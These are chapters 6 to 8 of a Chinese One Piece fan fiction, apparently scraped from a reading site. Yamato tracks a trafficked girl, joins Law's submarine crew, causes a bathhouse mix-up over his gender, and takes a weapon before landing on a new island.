“今天这些事务必守口如瓶,包括我来过这件事。明白了吗?” 男海贼起身,如君临天下般姿态,睨视因恐惧或痛楚缩在脚边的小头目。 语调听来不急不缓,简简单单却令小头目涕泗横流。 “明白!明白!” 青年弃若敝履般将心脏还给人贩,又一再熟练地威胁恐吓——让人不禁怀疑他是不是在此道之上受过什么专业的培训——终于就在人贩求爷爷告奶奶、指着全家上下五服六代发誓后,方扬长而去。 亚玛对此不知该如何评价。 不过帮派劫掠人口也实在可恶…… “等一等!”亚玛差点就把赶回来最重要的事忘到脑后,也因受了海贼好一通震撼。“对了,你们有没有绑架1名叫莉娜的女孩,穿鹅黄色无袖连衣裙,淡金色头发,肤色很白,大概1米6出头,看起来柔柔弱弱的,还有哮喘——” “呜……有的、有的……” “真有?”不顾人贩才被“死亡外科医生”好一番整治,亚玛心急之下直接拎起了他的前襟,举到胸前。 “哇!别杀我!” “呃……” 没想到“坏蛋”已经如此不堪一击,竟说着就又失禁了。 亚玛低头一看只能自认倒霉。他的褶状长裤上也不免沾到一些。 但他也还是稍稍放平气势,哪怕对方十恶不赦,还是将其扶正了,按其肩膀如同施予一些支撑的力量。“我不会杀你的,你好好跟我说,莉娜在哪里?在不在这艘船上?” 那人犯抽泣着,兴许也因被踱步返回的罗冷冷横了一眼,速速知无不言。 他承认组织小弟参与了对莉娜的绑架,但无论策划劫掠还是最后带走女孩的人都不是他的人手。起因应该是莉娜身边的朋友(根据形容来判断是那日自称男朋友的希洛斯无疑)欠下高利贷,在帮派上面派的人威胁下,决议卖掉朋友以还债。 “卖掉朋友还债?还有这种操作!他欠了多少?” “大、大概三千万贝利……” “莉娜就值了三千万贝利?!” “她不值这个价钱……但至少能抵一部分利息。” “混账!”亚玛气不打一处来,不知不觉间所散发的气势已经与刚才进来时不可同日而语,若非攥着人贩的肩膀,对方也几乎要再次伏到地上。 “是!是!呜……是混蛋猪狗不如……” 亚玛忽略了海贼从身侧打量过来的眼神(就像头一次见到亚玛这么个人似的),继续审问:“那现在呢?莉娜目前在哪?” “那个女孩……已经有买家把她带走了。” “该死!” “是!是!死不足惜呜呜……” 眼瞅这么询问下去啰里啰唆没个头,夜已过去了许久,罗破天荒开口替旁人一口气问清楚: “直接说买家是谁;在哪;怎么联系。” 又是一番涕泪纵横的交代,期间伴随各式自我贬低、忏悔、求饶。 最终眼看再也问不出什么了,亚玛松开双手,默默平复内心的怒意。 罗无意过问他的心理活动,只趁着黎明前最后的黑暗,将人领出了非法经营的货轮和峡湾,再次沿亚玛出逃和返回时的路线,越过野草茂盛的山坡和老旧的防波堤坝,沿公路缓缓上行。 待亚玛回过神来,他们已经站在宁静空无一人的城镇,竟没有被任何城防或巡警拦住盘查,不知是否运气所致——分明亚玛还是被逮捕人员,程序上应该尚未消除嫌疑——眼下四周家家户户都在酣睡,就连夜猫子和夜场狂欢的人们都已赶在黎明到来前匆匆返家不眠。 道路中央也只有他们两位无眠的流浪者而已。 “到了。你快回去吧?” 明白海贼竟是送了自己一路,眼下大意是劝自己回家去,亚玛抬头反而迷茫地看了看他。“这不是我的家。我只是流浪到这里。” “唔。那你要怎样?”男青年胳膊下夹着长刀,一副事不关己、说风凉话的语气。 亚玛想了想,决定如实回答他:“我要去找莉娜,救她回家,然后制裁包括希洛斯在内的所有混蛋!” 海贼却在这时偏头笑了一下,但似乎不是什么善意的笑容,反倒充满嘲讽、不屑,或许还有一丝慨叹。 “你这么闲嘛。” “莉娜等不了太久,但我眼下有的是时间。” 亚玛的回答满是诚恳,光是看见他圆亮的明眸,便几乎能确信他的话并无掩饰与作假。 罗暂时陷入沉默。 照理罗是不会插手这种闲事,以他一贯的行事作风和个性,也不可能因良心发现而“拔刀相助”。 ——今晚刚刚发生的事,尤指罗帮亚玛拦下一众帮派打手,顺带救下从人贩船上逃出来的女性,已经很不像海贼做的事了。 但如果说只是因为和亚玛之间一点算不得交情的“缘分”,他出于一些考虑以及自己正好要有打算拷问人贩,才出手掺和无干的闲事,倒还勉强过得去。 这绝不是“古道热肠”—— “你想找的‘买家’要去的地方是香波地岛,那是所有海贼们进入新世界之前必经之地。你够胆可以跟我的船走,但我的船上不养闲人。” 亚玛定睛看了看他,似乎也没料到堂堂海贼会有这样的提议。 在经历最初荒唐的一晚经历,以及刚刚过去这夜目睹的包括“酷刑”在内的情形,老实说亚玛对他的观感不能算十分健康和尊敬。 可是,难道说……实际上……海贼“死亡外科医生”特拉法尔加-罗此人还怪好嘞? - - 天空泛起鱼肚白之时,亚玛已经悄悄潜“回”到在科斯莫波利坦的寄宿家庭中,打包收拾好自己简单的行囊,又如影子一样无声地下楼,将经由他曾照管的颇有年代感的乐器店铺前门离开。 说来这里可谓是亚玛醒来有记忆以来首个称得上踏实的落脚点。 虽然窄小到以他的身高每每必须弯腰才能出入的阁楼,床铺也并不宽敞,如果睡觉稍有不老实就有可能翻身掉下床; 阳光总会头一个将他照醒,因为阁楼顶部刚好有一扇玻 6. piece 6-上了贼船的亚玛和浴室风波 《[海贼王]想成为御田的男人》全本免费阅读 出航首日风平浪静,“极地潜水号”船行驶在近海时并未选择立即下潜,而是先暂且在水面航行,让船员们在本次下水前最后流连一下海上的清风明月与新鲜空气。 同时也让初次上船的亚玛熟悉一下船上的生活,并学习船只下潜后可能会遇到的情况及需要注意的事项。 他融入地还算不错。海贼们介绍时,就在旁边认真地听着。有船员操作时,他会在一旁仔细观摩。 初次见到海贼团的“北极熊”航海士,他即便眼睛立刻亮了,接下来也还是会谦虚地左一句“贝波前辈”右一句“贝波前辈”地叫。 偶尔路过时冷眼旁观一切的罗有理由怀疑,亚玛更可能因为看航海士被喊前辈时刻意掩饰得意会露出可爱又严肃的神情,所以才叫得起劲。 不过大半天看下来,似乎大伙对船上多出一个打杂的不算反感。 既然这样,身为船长的罗也不打算再操心了。回到自己的船长室,关起门来整理起一段时间以来收集的线索。 可麻烦首先来自于认知上的差别。 注意到船舱内有惊叫声——且还不仅来自一个人——以及紧接着“叮呤哐啷”物品倒地等更大骚动后,船长自然没法坐视不管,虽说也并未察觉到任何危险临近。 此刻窗外依然月光明媚,只有轻微到可以忽略的风浪。 如此良夜能出什么幺蛾子? 等打开船长室的门,走到噪音的来源地,眼前景象更让他诧异乃至感到一丝烦躁。 佩金大概也在听闻动静后从操作室赶来,望着一屋子狼狈的海贼更是不客气地吼道:“干什么呢这么吵!还不把衣服穿好?” ——是了,挤在船舱里的船员已不仅要用衣衫不整来形容,少数几个挂着内衣、穿着半只袜子的,或还知道用毛巾挡一挡还算好的,余下全是一帮光溜溜的家伙,有些头上还顶着未冲净的泡沫。 就算他们是海贼,眼下也还没有狼狈到在船上光腚乱跑的地步吧? “报告船长:我们在洗澡!”用水盆捂在身前做“前挡”的赛蒙大声解释到。 “洗澡洗到这里来了?不会好好去浴室洗吗?管道漏了还是水烫了?这么娇气嘛!” 佩金的三联问又先于他咆哮出来,倒是省了罗开口。 只不过船员支支吾吾地解释不清楚,好像有多么难以启齿。他站在旁边听了一会更觉得情况有异,想不通刚离开科斯莫波利坦起航一天而已,就算平日海贼们吵吵闹闹地惯了,可即使白天刚见到新来的临时船员时都还有条不紊,怎么现在—— 等等,夏其此刻应该留在操作室掌舵,佩金在这里,余下十来个船员里有一半以上也聚在这里……贝波呢?新来打杂的呢? “贝波和打杂的在哪?”罗直接问到,语气并不算太好。 大约他问到了点上。已遭佩金一痛好骂的赛蒙总算委屈巴巴地看了看船长,一手仍按住前挡的水盆,抬起另一手指向浴室方向:“贝波桑还在里边……”说到这里好像还一阵后怕。 ——好像浴室那里有什么怪物一样。 罗锁紧眉头,径直朝里走。 热气朦胧中大约能看见一大坨雪白在前方晃动,应该就是贝波还在搓洗自己。 毛皮族为什么也习惯像人族一样穿衣服是个迷思,或许是长久历史形成的习惯,或许他们其实也是“人类”只不过生有毛皮、外耳廓与尾巴之类人族已退化掉的特征,无可厚非。只不过他们就算裸奔,在其他族类看来似乎也全无不妥。 然而在注意到推门声后看见走进来衣冠齐整的罗,贝波还是受惊般下意识地往隔间后缩了缩。 ——看看!就连“北极熊”都知道遮一遮羞,这就衬得另一侧某个还泡在水池里的傻瓜格外缺少“羞耻心”。 “打杂的,你莫非晕船吗?” 虽然事实上已经看过对方了,但此刻身份转变为船长后,罗还是给另一人留了些余地,尚且还算给点体面。 “没有啊。”可他回答得竟如此自然,好像没心没肺。 “是么,我宁可你已经把心眼连同神智一起吐出去了——你想怎样?来我的船上捣乱吗?” - - 在亚玛看来自己不过和其他人一样在一天活动之后走进浴室,虽然还是有记忆以来第一次进集体浴室,没想到才被其他洗澡的船员注意到就引发了混乱。 目睹除航海士外的船员们慌不择路地(甚至不顾地滑接连摔了两三跤)争相逃出浴室,他虽然隐隐意识到可能和自己有关,可在没得到正式答案前,也难说那些人只是突然想起来还有什么白天的工作没完成,才跑出去。 只是时隔不久后,仍是身穿有海贼团标志外衣的海贼船长像无视满地流淌的水和泡沫那样,踩着有跟皮鞋走进来,看起来似乎有些不爽。 不过认识以来,亚玛也觉得罗的表情多数情况下都仿佛不爽。 “来我的船上捣乱吗?” ——这话听来属实有些重了,也让亚玛感到摸不着头脑。 “怎么会?”他立刻反驳。 他想着跟船长——虽然只是暂时的——对话时却坐在水池里泡,澡或许还是有些不妥。何况罗从一开始就总说“我的船”、“我的海贼团”之类的显示出强烈的所有者意识。 出于有记忆以来久为“打工人”的自觉,他觉得应该给罗足够的面子。于是就有了从浴池中“哗啦”一声站起来的一幕。 全然未注意到几步之外的水池边,年轻气盛的海贼船船长立刻瞪大双眼。 也怪浴室里雾气弥漫吧。 手边没有毛巾,亚玛只有向前走了走,从浴池边缘跨出来后低头从旁拾起自己带进来的浴巾。 长长的毛巾展开之后沿腋下绕周身一圈半,挡住了该挡住的,虽然离社交标准还差得远,但面对衣着随意的罗时,至少应该比刚才坐在浴池里更像话一些。 随手撩开垂在鬓旁被打湿的碎发,蓝绿色发梢溅出几滴水,好巧不巧也落到面前的青年身上。 “啊抱歉。”他说,语气可能有点过于轻巧,(他想或许因此才会引发接下来的状况,)“我是不是刚刚不注意惹了什么麻烦?大家突然跑出去……”虽然不太明白,但感觉还是会在意。 可就是不知自己又搞错了啥,会被对面的海贼突然拦腰拽到面前。 “你不是在开玩笑吧,打杂的?还是说才过去没几天,你就又想要了?” “哈?”脸对脸、眼对眼,才发觉此刻身为船长的青年眼中酝酿着不详的情绪,说怒火也不十分像怒火,倒像无可名状的邪火。“罗,我没听懂你在说什么。谜语?” 即便隔着一圈半的毛巾,捏在腰际的手掌用了多大力道,亚玛还是体会地一清二楚。虽然应该还没有到要打架的地步,但这股力气,这么近以致彼此呼吸能穿过浴室蒸汽、近到瞳仁都能彼此映照的距离,对于任何人包括亚玛来讲也都过于具有侵犯性。 “装傻?还是说上一次也是跟我装傻?”离近了听来,罗的语调竟莫可名状地喑哑。 原本讲话时就显懒散的语速,此刻虽然也没有太明显的变化,但总觉得好像被什么刻意按捺住一样,平静之下有如暗流涌动。 “——虽然那时感觉的确像‘初体验’,可反应却很成熟。你不会刚好也想要,才半推半就地跟我睡了?难怪不想要我给你的钱,看来是另有所图……” 这回就算傻子也能听懂了。亚玛立刻大叫:“罗,你在胡说八道些啥?放开!” 7. piece 7-上了贼船的亚玛和身份认同 《[海贼王]想成为御田的男人》全本免费阅读 美人蕉似的红色明眸,肤色不算特别白皙但至少能看出十分健康,身高少说也有一米九以上,身材……确实还不错。 虽然脸蛋也蛮可爱的,但是原以为罗会更偏好成熟御姐一类的女性,或至少也是乖巧可人那类型的女生,没想到真实案例却集合了高个御姐的身材、以及甜美的脸蛋。 “——诶……这么一想,不是刚好一举兼得了嘛?”啧啧,不愧是2亿船长。 “嗯?什么意思?”习惯早起的亚玛正托着脸蛋等待早餐放饭。香气腾腾的船上餐厅里,两名现身之后就坐到对面,打量他的海贼船前辈似乎讲了些和他有关,却云山雾绕的话。 “新人,我们已经听说你和罗有那层‘成熟’关系了——我就知道他不会无缘无故带人上船——应该是对你格外满意吧。” 佩金前辈突然宣告知情,让亚玛大为吃惊。 他愣了愣,立即锁定消息泄露源:“贝波前辈,你出卖我?”分明在浴室中罗说那些话的时候,在场的除了当事人亚玛,就只有航海士在侧。 一头白熊灵活地晃过来,板正的表情表示无心玩笑,也承认道:“和船长有关的事没有小事,有关的人也必须接受审查;我不会替你隐瞒的。” 稍作停顿之后,贝波还是放松了口风:“不过你可以放心,目前也只有我们几个人掌握一手情报。” “哪些人?” “佩金。”随着航海士报出名字,本就坐在这里的前辈们逐一举手,“夏其。”然后他自己也举起手,还认真地叫出自己的名字:“贝波。以及船长和你,新人。” 唔,听起来确实范围有限。 看到北极熊毛皮族航海士憨憨的形象,亚玛弯起嘴唇,大度地接受了当前情况。 “好吧。但不可以再扩散了哦~被误会就麻烦了。”而且说不定罗本人听到也会生气吧。 虽说那位船长从昨天开始似乎就已经在和他生气了。 “误会?”头戴虎鲸形象帽子的前辈反问到,“有什么可误会的?罗的女人缘一向不错,我们见怪不怪了。” “是的哟,既然上船被安排成打杂的,也就不要以为我们会考虑罗和你那层‘嗯哼’的关系,就会多照顾你哦~乖乖做事,安守本分比较好。” 不解内情的人听见恐怕还以为是黄金档肥皂剧某国王后院大老婆们警告小老婆“安分守己”的场合。 亚玛的额头上垂下三道黑线。 “可是前辈,我不是女人,跟罗的‘女人缘’没有任何关系。” 一言既出,对面除了白熊的表情都忽然像按了暂停键。 “——还有‘嗯哼’什么的只是一次意外,那之后都不会再有了,也不存在‘关系’的说法!” “……什么意思?你要把罗甩了?”面对亚玛言辞肯定的态度,前辈们愣怔过后,作此猜测。 “应该就是这样,所以罗才会生气的。”航海士在旁的解释几乎起不到帮助的作用,只有越描越黑,除了接下来的这一句:“还有他确实说自己是男人。” “等等、等等,越听越乱。什么男人?”佩金支起胳膊回头看向北极熊航海士。 “新人——说是男人。”贝波指着亚玛又重复了一遍。 “哈?可是不管怎么看都……” 两位自认为是真金不换爷们的海贼前辈扭过头来,仔细打量坐在餐桌后的“女生”,其中夏其还特别紧盯着新人胸口两团圆球确认了好一阵,被佩金从头后敲了一个栗子才又将视线挪开。 “——无论怎么说这也是船长的‘妞’!”提醒完老友,头戴企鹅帽子的男海贼才又转向亚玛,“喂,新人,你真这么说?” 亚玛这才又正式对在座前辈开口:“昨天上船后没来得及介绍。是的,我很确认,我是男人哦!佩金前辈。” 消息很突然,思路很清奇,认知差距有点大,前辈们一时不知作何答复。 但有一件事:“等会,这莫非就是你昨天冲进男浴室和大家洗澡的理由?” “是的,我不可以去和茉丝小姐一起洗澡,那样太冒犯了。” ……啊不不,茉丝可能并不会被冒犯到,但昨天的男船员们真是被吓到了。 但是这样的话佩金没法说,因为船员居然因为洗澡被“女生”看光而吓到满船跑,这件事怎么说都太损爷们气概了——一群平时有色心没色胆的家伙——况且现在“女生”不再是女孩子了,摇身一变成了另一个爷们。 啧啧,这事有点邪门。 话说回来“姑娘”不是姑娘而是汉子这件事,船长知道了么? “呃,那我冒昧再问一句,”也不知是否接连得到的消息让大脑接收不能,前辈们忽然不明觉厉顺带用肃然起敬的语气和新人交流起来,“罗知道……你的性别嘛?” 沿着问题回忆间,亚玛橙红色的明眸抬向餐厅的天花板,趁此空隙佩金和夏其又仔仔细细地打量他一遍。 细细的眉毛,大大地眼睛,尖尖的鼻子和殷红的嘴——怎么看都是女孩子啊!为啥成了男的?——还有这组双峰:浪费啊,可惜了这么一对“大白兔”啊! 难道是他们在海上航行了太久,不了解这是一种伟大航道岛屿上什么很新型的时髦嘛? 再等一下,话说回来,如果真是男人,又果真今后都在男浴室清理身体,那就算是不能用看待女孩子的方式区别对待,也可以常常欣赏到女孩子一样的身体—— 呜啊!伟大航道果然伟大! 突然有道轻微的断裂声,下一秒“可靠”的前辈鼻端一热。 “哇!夏其你坏血症了嘛?” 老友佩金投来理解的目光,大概也只有理解不了人类族原始快乐的异族航海士还能真心关切同伴的健康: “不对,佩金怎么也流鼻血了?厨子,厨子!你是不是做饭放太多香辛料了!” 贝波飞一般地冲出了餐厅。 是啊,这么下去,同伴们的健康的确堪忧哇。 这种时候就幸亏船长身兼医生了! “啊,我好像确实忘了说……哇!前辈们怎么样?我才走了个神的工夫怎么会——” 新人从餐桌后跳了起来,险险躲过顺桌缝流下来的鼻血,随手抓来大包餐巾递给佩金和夏其,同时大声疾呼快来人救命。 见亚玛好像随时也要追在航海士身后跑出去叫救护,佩金腾出无需按压鼻梁的手赶紧拉住他。 竟万分感动地对新人说道:“好,这个兄弟,我跟你做定了!” 作为最早认识的老友,夏其在旁听他这么快就认了兄弟,但按住鼻子的同时也无从抗议——带他一个行不行! - - “第一天,把船员们搞得鸡飞狗跳; “第二天,早饭之前就将佩金和夏其都送进了医务室—— “打杂的……如果不想让我把你扔下海捞鱼,在下个岛屿靠岸后立即给我滚下船!” 起航第二天,已然进入深海区的红心海贼团甚至还没来得及通知下潜,“极地潜水号”上就发生了这么多状况,此刻身为船长的罗已经后悔得无以复加。 “为什么?!” ——被训斥的新人居然还敢站起来顶嘴。 只不过亚玛并未意识到自己在跟船长顶嘴,而是单纯为自己争取权益。 “我应该没有做错什么吧?做错了你可以告诉我呀!”望着罗那张阴沉到几乎可以刮起雷暴大雨的脸,亚玛顿了顿,见船长室里四下无人,上前一步又说:“你生我的气了么?罗。” 好胆!会问。 罗扬起嘴角好像是乐了——实际当然不是——“从你上船以来这两天发生的麻烦,一点自觉都没有吗?” 如果亚玛敢回答没有,那“死亡外科医生”可能真会用手术果实能力把临时船员扔下海捞鱼。 ——至于他是不是水性很差、会不会死在海里反而变成鱼食,就不归罗操心了。 “呃,好像确实和我有点关系……”好在亚玛还不算头铁,认真反省了一下,可最终还是用手指戳着脸颊露出困惑状:“但那些都不是我故意引起的呀。我也没想到会这样……哦,对了,罗!” “说!”青年将脾气往下压了压,打算再给眼前的笨蛋一个机会。 早知道亚玛看起来不怎么聪明,会毫无警惕地在酒吧街被男人“带走”压倒,可本以为至少实力不错、性格也还可以,哪成想会是惹祸精一枚。 ……对了,居然还会跑去男浴室和海贼们“赤诚相见”。真不想承认是罗先看中“她”的——这么着压根就毫无技巧可言…… 然而日前却被拒绝的记忆再次浮现,青年的脸色又阴了下去。 莫名其妙、反复无常的女人最扫兴,很戳他的雷点,令人性趣全无。 “嗯!多亏早上佩金前辈提醒,我忘了告诉大家,是我的问题——”亚玛沉吟之后,抬头迎向罗冷峻的眼神,但说不清为何顿了一下,纯粹下意识地,不过清醒之后还是说:“我是男人哦,罗,包括你在内都不能拿我当女人看待。” 船长室里有片刻的沉寂。直到它的主人说: “——哈?这叫什么见鬼的要求!跟我在谈的事有关系?”别还是个不知悔改的终极大白痴吧。 长腿不过从容迈了4、5步便来到临时船员的面前。 无论他行走的状态,还是不急不慢的语调,都仿佛显示了一种野性和优雅交织的矛盾感。 站在船长室里的另一人被他的气势逼得后退半步,目光却有些离不开那张看起来有些凶狠、但依然漂亮的脸。 “我要怎么看待你,是我的事情,跟你有什么关系!还是你自大到以为能命令我,还想左右我的看法?” ——亚玛得承认他想表达的意思好像也没甚毛病。 “呃,我没有命令你的意思……你误会了,”眼瞅对方越走越近,亚玛依凭本能又后退半步,“我只是说,我和你是一样的,罗。我是男人来着……” 奇怪,难道真是2亿船长的威压太强?亚玛怎么说到后面连声音都像不确定似的变小了许多。 他可不能在这件事上犹豫!“我是男人,这件事是很确切的!”他再一次讲到,声音洪亮了不少。“其实和你怎么想也并无关系,所以我不会试图去改变或左右你的想法,只是要告诉你一个事实。” 他的话音落下,在船长室里随之落下的还有暂时的沉默。 望着海贼船长阴晴难测的模样,亚玛下意识地反省是不是刚才自己的语气有些太“义正言辞”。 海贼船长的气场也太强了吧……原来要这么强的气势才能当船长么…… “为什么要告诉我?” 临时船员正琢磨是否将态度软化一些,比起亚玛而言便格外低频和显得醇厚的嗓音又冷不丁响起。 “以及,这叫‘事实’?” 男人周身散发大型猫科捕食者气场,又向前走进一小步。 带黑眼圈——如同涂抹了什么恰到好处的烟熏妆——的锐利双目便直逼亚玛面门,他又来了: 骨节分明又的手掌从亚玛身后按住他,将后者朝前一捞,落入被迫贴近又无可后退的境地。 亚玛心头飘过一阵无奈,可这一次他没有推开对方。 如此也就瞥见罗在偏头露出痞笑时,却在双眸之中隐藏的阴影。只听他接下来道: “你懂什么是事实? “——生物性状、遗传特征、医学解剖,这些叫事实。”应当是天才外科医生的手指点在新人肩头,沿着弹性十足的肱二头肌向下划动。“条件反射、膝跳反射、眨眼反射,这些也是事实。 “人生在世,是事实;眼耳鼻喉,是事实;父母兄弟,是事实……你此刻目睹,过去经历的,万事万物,都可称作事实。 “除此之外,还有一类事实就是——” 指尖轻轻落在他的心脏上方。 “如果有人要你现在死,你会像从未活过;如果让你失踪,转手卖掉,转眼你就会变成另一个人;你可能轻易从自由人变成奴隶,变成没有身份、不被允许活下去的人,甚至于变成别的‘种族’; “一场战乱、一场病疫:杀光你身边所有认识的人简直轻而易举。 “哪怕当下,我随时就可以将你的鼻子削下来接在耳朵上,让你以后分不清是在听我说话还是‘闻’我的意思;我还可以把你的腿和生殖器拼在一起,今后用你的下-体细数未来走过的每一步……” 他的手掌好像附带别样的力量,一阵寒意让被触摸的人忍不住打了个冷战,好像还有一丝酥酥麻麻的电流,令亚玛虽然想动却暂时动弹不得,只能直视“医生”幽暗的眼睛,听他娓娓道来。 “你说的是什么事实?这世界一切皆可借由人造物,换句话说,有的人已经被捧到‘神’的位置了。 “你爱的人会死,你恨的人会荣华富贵、长命百岁,你珍惜的会消失,你恐惧的永不消散——并且不断出现。 “‘神’可以将你所谓的事实全部抹去,创造新的事实——无论你接受与否——你认识的、相信的,什么都可以改变,在不久的将来你也会面目全非、终会被所有人忘记,除了黑暗无法改变。 “唯有黑暗,自亘古存在,在陆地升起之前更早升起,比海洋出现之前更早出现。神不能创造黑暗,也不能消灭黑暗,只有黑暗不会消失,这才叫事实。 - - 一番“黑暗至上”的言论可谓邪典。 亚玛有记忆以来首次接触此等讯息,竟听得呆了。对方傲慢乃至狂悖的语调高高在上,饱含冒犯的言语偏偏语气温柔,语速动听。他一度生理不适,也一度呼吸不畅,眼 8. piece 8-上了贼船的亚玛和新岛屿 《[海贼王]想成为御田的男人》全本免费阅读 伟大航道一般不会给普通人太长时间的幻想,误会它的常态是风和日丽。 应该说起航头两天的好天气只是运气不错,等到暴风说来就要来时,提前察觉到天气即将变化的航海士立即建议“极地潜水号”船只整体下潜。 亚玛分到一件潜艇内特制防护服,衣服宽大,好在他个子也够高,穿进去不仅不显窄小,还有些不碍事的富裕空间,算得上合身。 罗大概也是这么想的。证据就是等新船员换完衣服出来时,刚好待在操作室亲自坐镇的船长回头看了一眼,看完后还似乎比较满意地点了点头。 下潜的日子里活动区域压缩,船内为了节省动力也关上了一些偏娱乐性的空间,只保留必备功能,最多留一间可供适度活动、拉伸身体的健身房——有时亚玛会在那里遇到红心团的船长。 为避免碍着罗的眼,一不小心再被他挑到诸如形象太土这样的毛病,更主要的还是为了给“船长大人”留出独处的空间,亚玛一般会默默退回门外。等到罗歇干汗水后离开,再跑进去小做活动一番。 水下让他打杂的活计变得也少了。 闲暇时,他会将脸贴在舷窗上,永远不失新奇地看向潜艇外的奇特景象。 ——于一只“旱鸭子”而言,能见到海底的情形毕竟还是难得,有机会登上“极地潜水号”对他来说算一种幸运。 深浅程度不同的海水里生活着各式各样的鱼类和其他海洋生物。他曾看见密密麻麻的沙丁鱼沿着最近的海流穿梭,也目睹鲨鱼和海豚围剿鱼群饱餐一顿; 鲸们成群地缓缓从他身边游过,像一队轻盈的飞艇——彼时他也产生一种自己在天空飞的错觉——偶尔仿佛不带任何情绪瞥来平静的一眼,好似注意到了潜艇里相比之下“娇小”不少的亚玛。 不消说海下亦有像陆地上平原、盆地、山坡一样的复杂地形地貌,起起伏伏间,陈列出各式在水中飘动、身姿柔软曼妙的生物,分不清是植物还是动物,呈现缤纷的色彩,并不比鲜花烂漫的陆上景色冷清。 然而海下多数时间是昏暗的,尤其到了水下200米以下,就连最耀眼的太阳也很难将光明送达这里,这时就只能借助艇身微弱的光线努力观察。 时而有些星光一样的事物出现在或近或远处,多数情况下是轻盈婀娜的水母。虽然听说了其狠毒之处,远远观之仍会陶醉于它们的美丽。 很偶尔的情况下还会有不知名的阴影从旁掠过,只有巨大的眼珠像一轮海底圆月反射已极其稀少的光线。 起初趴在舷窗上的亚玛没意识到那是什么,集中注意力观察时,“对方”仿佛也察觉到窥探的视线,“圆月”会忽然转动,露出可怖的另一面。 惊觉自己竟被巨怪的眼睛瞪着,亚玛便“哇”地一声跳起来,脑壳撞到窗框,整个人又被迅速弹回地面,接下来揉着脑袋瓜平复被骇到砰砰作响的心跳。 - - 习惯了海下行船的船员们不少都曾瞥见亚玛呆呆地坐在舷窗旁,与舷窗上的倒影成双。 从一开始大伙还会调侃这种“没见过世面”的行为,甚至在下潜期间极其无聊的时候喊上其他人一起对他打趣。 ——虽然亚玛仍是一副好像“女生”的外表,但一方面他早已公开宣称实际性别,另一方面或许水下的日子久了,什么性别不性别的,在枯燥、逼仄、甚至连气味都不太妙的日子里也变得无甚差别。 大约由唯一的女性船员茉丝开始,发觉亚玛时常贴着窗户、好奇心爆棚的状态,着实像从未出远门的宠物犬: 看到新奇的事物,开心了就会咧嘴傻笑,被吓到时则一惊一乍地大呼小叫。 于是对新人调侃的情况发展到新的阶段。 原本便没什么恶意的嘲笑,就渐渐演变成好像对待“大狗”的关爱行动:诸如路过时投喂食物、顺便撸一把白色“狗头”的做法,一时屡见不鲜。 即便与海上冒险的主旨无甚要紧关系——这便是一个“姑娘”上船后先“变成”男人,后变成“狗”的奇妙故事线了。 神奇的是论理船上已经有一个“动物”航海士的情况下,且航海士贝波有天生的优势——皮毛——竟还会出现有人被“宠物化”的情况。可见将一个人归类为船员还是宠物,凭的也不完全是外表。 假使亚玛能聪明点,尽快意识到自己在水下期间的处境,并加以反省,大概还有机会想明白背后的道理:主要还是由于他在船上时几乎没啥实际用处吧。 但至少是在极地潜水号船长罗看来,他一时半会很难长出这样的聪明劲。 ——而船长竟也默许了某人在白天工作时间还趴在舷窗边的情况。 - - 或许因为潜艇自带的声呐作用,大型海洋生物包括海怪不会轻易靠近,但也有自视甚高的海王类不会放过来试一试的机会。 这时就要考验舵手的本事,驾驶整艘船灵活而惊险地躲闪海王类的无差别捕食攻击行为,然后加速逃离。 避无可避的情况下,红心海贼团的船长可能还会亲自出场,操作超乎寻常的“恶魔果实”能力,竟能在避开船艇艇身的情况下,精准给予船外的海王类重击。 ——不过这种作法一般也只是为给船只制造更多逃跑机会,往往是一击之后趁海怪还懵着,舵手立即开足马力,溜之大吉。 可船长实力还是再次刷新了亚玛认知,他就和其他船员一样,情不自禁地在成功击中海王类怪物时大声欢呼。 一时间分不清是感动还是激动的心情,令朱红双目简直闪亮得都快能够照人了。 ——原来这就是海贼吗?这就是海贼啊! ——简直太酷了!船长超级帅哇! - - 时间一天一天过的很快,船里的大家逐渐习惯不再叫亚玛“新人”,仿佛他就自然而然地融入了团体。 虽然依罗来看,这就好像狗比人更容易被陌生环境接纳,是差不多的道理。 即便是条会说话、而且是敢说“大话”的“狗”。 在连续多日的下潜之后,终于这一天记录指针出现轻微异动。航海士意识到附近存在岛屿,迅速对照前人的旧海图果真也有迹可循,便在汇报船长之后,得到上浮的指令。 天光逐渐回到视野内的感觉竟真堪比看到希望。虽然还不是白天,可光是想一想马上要见到开阔的海面与更加无边的晴空就已经心潮澎湃。 等待浮出水面,船员们一个个迫不及待地拥到甲板上,大口深呼吸。 外面银河璀璨如漫布着无数钻石,这副景象想来也是海上冒险中极具魅力的一部分。 亚玛也像大只的“跟屁虫”一样笑嘻嘻地跟着大家出来,虽然他也喜欢海下的风景,但此刻久违地闻着咸味的海风,肺里涌入新鲜空气的感觉,还是别提有多快活。 身后忽然有人叫他:“打杂的。” 他闻声转过头来,立马屁颠屁颠地小跑到罗的面前。“什么事,船长?” 亚玛现在也像其他船员一样习惯于喊船长了,这个称谓的背后包含的还不止是习惯那么简单,而是真真正正有着钦佩和敬仰的成分——是比金还真的尊敬哦! “跟我走。”罗没点评那张脸上蠢兮兮的笑容,转身领着他向其他房间去了。 这是一间放置武器军备的房间,除了暂时保管船只炮弹、鱼雷等将在遭遇海战或需要硬突破的环境下使用的武器外,也还琳琅满目地摆放了多把可手持的武器。 “之前也说过,还记得吧?跟在水下的时候不一样,上了岸之后如若碰到危险就没人能替你解决了——” 看似气场冷冷的罗还是稍微帮亚玛回忆了一下过去交代过的情况,开门之后便朝内一指道:“下一个岛屿是什么情况还不好讲。你自己先挑个趁手的武器吧。” 步枪、刀剑、棍棒,这里倒是都应有尽有。罗一边介绍,一边也还算耐心地挑拣出几把大抵符合亚玛身量的近身武器。 下意识地,罗并没有替他选择枪支,虽然没什么靠得住的理由,但总觉得亚玛不像能习惯用枪的样子——能否熟练使用倒还在其次。 然而结果就是,挑了半天,亚玛也没有选出自己想要的。 令人稍稍感到有些烦躁。 不过好在他最后还是从一堆棍棒形武器里捡起一把金属球棒样的棍子。 然而罗一眼就觉得那太小儿科了,简直像小孩子或小流氓打架用的。“你确定吗?” 望着新人好似一副无害的面孔,罗不禁起了怀疑——该不会这家伙除了嘴巴比较会讲之外,只能在船上打杂——或许亚玛根本成不了靠谱的海贼(虽然用靠谱形容海贼也很违和)船员。 不过罗倒是忘了原本就只答应暂时带亚玛一程,两人都从未说过要亚玛一直随船待到最后。 “不然,你再试试那边的狼牙棒?” 可新船员停顿下来看了看罗所指的方向后,还是摇了摇头。 “我觉得初次用武器,还是别用那么尖锐的,我怕不熟练伤了己方。虽然球棒看似没什么杀伤力,但至少防守应该不是问题。” 